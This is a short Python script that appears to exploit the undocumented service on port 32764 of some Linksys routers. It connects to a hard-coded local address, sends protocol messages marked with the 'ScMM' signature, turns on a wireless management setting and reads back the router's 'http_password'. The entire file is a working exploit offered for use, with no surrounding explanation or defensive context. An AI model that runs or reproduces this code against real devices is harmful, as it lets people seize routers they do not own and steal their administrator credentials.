#!/usr/bin/env python __author__ = "bt3" import socket import struct import sys # Defining constants HOST = '192.168.1.22' PORT = 32764 def send_message(s, message, payload=''): header = struct.pack('<III', 0x53634D4D, message, len(payload)) s.send(header+payload) response = s.recv(0xC) if len(response) != 12: print("Device is not a crackable Linksys router.") print("Received invalid response: %s" % response) raise sys.exit(1) sig, ret_val, ret_len = struct.unpack('<III', response) assert(sig == 0x53634D4D) if ret_val != 0: return ret_val, "ERROR" ret_str = "" while len(ret_str) < ret_len: ret_str += s.recv(ret_len - len(ret_str)) return ret_val, ret_str if __name__ == '__main__': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(( HOST, PORT )) send_message(s, 3, "wlan_mgr_enable=1") print send_message(s, 2, "http_password")